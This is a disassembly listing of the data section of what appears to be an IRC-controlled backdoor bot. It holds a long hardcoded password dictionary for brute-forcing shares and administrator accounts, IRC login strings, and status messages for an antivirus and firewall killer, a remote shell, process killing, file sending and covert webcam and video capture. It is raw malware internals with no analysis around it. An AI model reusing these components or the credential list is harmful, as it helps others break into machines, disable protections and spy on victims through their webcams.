aApril		db 'april',0            ; DATA XREF: ___:004295D0o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:004295CCo
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:004295C8o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:004295C4o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:004295C0o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:004295BCo
aAnswer		db 'answer',0           ; DATA XREF: ___:004295B8o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:004295B4o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:004295B0o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:004295ACo
aAnne		db 'anne',0             ; DATA XREF: ___:004295A8o
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:004295A4o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:004295A0o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042959Co
aAnimal		db 'animal',0           ; DATA XREF: ___:00429598o
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:00429594o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:00429590o
		align 10h
aAngela		db 'angela',0           ; DATA XREF: ___:0042958Co
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:00429588o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: ___:00429584o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:00429580o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042957Co
aAndrea		db 'andrea',0           ; DATA XREF: ___:00429578o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:00429574o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:00429570o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042956Co
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: ___:00429568o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:00429564o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:00429560o
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042955Co
aAmber		db 'amber',0            ; DATA XREF: ___:00429558o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:00429554o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:00429550o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042954Co
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:00429548o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: ___:00429544o
aAlison		db 'alison',0           ; DATA XREF: ___:00429540o
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042953Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:00429538o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: ___:00429534o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
					; ___:00429530o
aAlias		db 'alias',0            ; DATA XREF: ___:0042952Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:00429528o
aAlexande	db 'alexande',0         ; DATA XREF: ___:00429524o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:00429520o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042951Co
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:00429518o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:00429514o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: ___:00429510o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042950Co
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: ___:00429508o
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:00429504o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:00429500o
		align 10h
aAdult		db 'adult',0            ; DATA XREF: ___:004294FCo
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:004294F8o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:004294F4o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:004294F0o
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
					; ___:004294ECo
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:004294E8o
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
					; ___:004294E4o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: ___:004294E0o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:004294DCo
		align 4
a000000		db '000000',0           ; DATA XREF: ___:004294D8o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:004294D4o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:004294D0o
		align 4
a000		db '000',0              ; DATA XREF: ___:004294CCo
aTesting	db 'testing',0          ; DATA XREF: ___:004294C8o
aDeath		db 'death',0            ; DATA XREF: ___:004294C4o
		align 10h
a00		db '00',0               ; DATA XREF: ___:004294C0o
		align 4
a0:					; DATA XREF: sub_40CADA+2CAo
					; ___:004294BCo
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:004294B8o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:004294B4o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:004294B0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:004294ACo
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:004294A8o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:004294A4o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: ___:004294A0o
aXx		db 'xx',0               ; DATA XREF: ___:0042949Co
		align 4
asc_42E6F8:				; DATA XREF: ___:00429498o
					; ___:0043D52Co ...
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:00429494o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:00429490o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042948Co
		align 4
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
					; ___:00429488o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:00429484o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:00429480o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042947Co
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:00429478o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:00429474o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:00429470o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042946Co
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:00429468o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:00429464o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:00429460o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042945Co
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:00429458o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:00429454o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: ___:00429450o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042944Co
aSatan		db 'satan',0            ; DATA XREF: ___:00429448o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:00429444o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: ___:00429440o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042943Co
		align 10h
aMat		db 'Mat',0              ; DATA XREF: ___:00429438o
aPw		db 'pw',0               ; DATA XREF: ___:00429434o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:00429430o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042942Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:00429428o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:00429424o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: ___:00429420o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042941Co
		align 10h
aLove		db 'love',0             ; DATA XREF: ___:00429418o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:00429414o
aLogin		db 'login',0            ; DATA XREF: ___:00429410o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042940Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:00429408o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:00429404o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:00429400o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:004293FCo
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:004293F8o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:004293F4o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:004293F0o
aTest123	db 'test123',0          ; DATA XREF: ___:004293ECo
aAbc		db 'abc',0              ; DATA XREF: ___:004293E8o
aAaa		db 'aaa',0              ; DATA XREF: ___:004293E4o
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:004293E0o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o ...
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:004293D8o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:004293D4o
aIrule		db 'irule',0            ; DATA XREF: ___:004293D0o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: ___:004293CCo
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:004293C8o
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:004293C4o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:004293C0o
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:004293BCo
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: ___:004293B8o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:004293B4o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:004293B0o
aSex		db 'sex',0              ; DATA XREF: ___:004293ACo
					; ___:off_43D7E0o
aPat		db 'pat',0              ; DATA XREF: ___:004293A8o
aPatrick	db 'patrick',0          ; DATA XREF: ___:004293A4o
aAlpha		db 'alpha',0            ; DATA XREF: ___:004293A0o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042939Co
a123abc		db '123abc',0           ; DATA XREF: ___:00429398o
		align 4
a1234qwer	db '1234qwer',0
		align 4
a123123		db '123123',0
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042938Co
		align 4
a111111		db '111111',0           ; DATA XREF: ___:00429388o
		align 4
a110		db '110',0              ; DATA XREF: ___:00429384o
a2600		db '2600',0             ; DATA XREF: ___:00429380o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
					; ___:0042937Co
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00429378o
		align 4
aXp		db 'xp',0               ; DATA XREF: ___:00429374o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:00429370o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042936Co
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:00429368o
a123asd		db '123asd',0           ; DATA XREF: ___:00429364o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042935Co
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:00429354o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: ___:00429350o
		align 4
aAbc123		db 'abc123',0
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: ___:00429344o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042933Co
		align 10h
aPass		db 'pass',0             ; DATA XREF: ___:00429338o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:00429334o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:00429330o
		align 10h
a111		db '111',0              ; DATA XREF: ___:0042932Co
a54321		db '54321',0            ; DATA XREF: ___:00429328o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:00429324o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:00429320o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:0042931Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:00429318o
a123456		db '123456',0           ; DATA XREF: ___:00429314o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:00429310o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042930Co
		align 4
a123		db '123',0              ; DATA XREF: ___:00429308o
a12		db '12',0               ; DATA XREF: ___:00429304o
		align 4
a1:					; DATA XREF: ___:00429300o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:004292FCo
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:004292F8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:004292F4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:004292F0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:004292ECo
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:004292E8o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: ___:004292E4o
		align 4
aServer_2	db 'SERVER',0           ; DATA XREF: ___:004292E0o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:004292DCo
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:004292D8o
		align 10h
aUser_2		db 'USER',0             ; DATA XREF: ___:004292D4o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:004292D0o
		align 10h
aTest		db 'TEST',0
		align 4
aEdu		db 'edu',0
aOwner_0	db 'Owner',0
		align 4
aOwner_1	db 'OWNER',0
		align 4
aDemo		db 'DEMO',0
		align 4
aFiles		db 'FILES',0
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:004292B4o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:004292B0o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:004292ACo
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:004292A8o
		align 4
aWrite		db 'WRITE',0
		align 4
aShare_0	db 'SHARE',0
		align 4
aTemp		db 'TEMP',0
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:00429298o
		align 10h
aAdmin		db 'ADMIN',0            ; DATA XREF: ___:00429294o
		align 4
aRoot		db 'ROOT',0             ; DATA XREF: ___:0042928Co
		align 10h
aGuest_0	db 'GUEST',0            ; DATA XREF: ___:00429288o
		align 4
aBla		db 'bla',0
aFubar		db 'fubar',0
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:00429264o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429260o
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429340o
		align 10h
aDefault_0	db 'default',0
aGuest_1	db 'guest',0
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0
aStudent	db 'student',0
aOwner		db 'owner',0            ; DATA XREF: ___:00429240o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042923Co
					; ___:00429358o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: ___:00429290o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:00429234o
		align 10h
aAdmin_0	db 'admin',0
		align 4
aAdmins		db 'admins',0
		align 10h
aAdministrat	db 'administrat',0
aAdministrateur	db 'administrateur',0
		align 4
aAdministrador	db 'administrador',0
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0
		align 4
a@admin_com	db '*@admin.com',0
dword_42EC78	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42ECAC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_42ECD8	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_42ED18	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_42ED3C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_42ED58	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_42ED64	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_42ED6C	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_42ED74	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_42EDDC	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42EDFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42EE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 10h
unk_42EE70	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 10h
asc_42EEF0:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42EEF4	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_42EF18	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_42EF40	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42EF64	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42EF88	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42EFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_42EFD0	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_42EFEC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_42F018	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42F03C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42F064	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_42F090	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42F0B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42F0DC	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42F0FC	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42F124	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42F14C	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42F16C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42F19C	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42F1BC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42F1EC	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_42F210	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_42F22C	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42F250	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_42F268	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42F2A8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_42F2C0	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_42F2DC	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42F2FC	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42F314	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42F340:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42F344	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42F368	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42F38C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42F3CC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42F40C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
unk_42F438	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_42F470	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42F4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_42F4D8	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_42F500	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
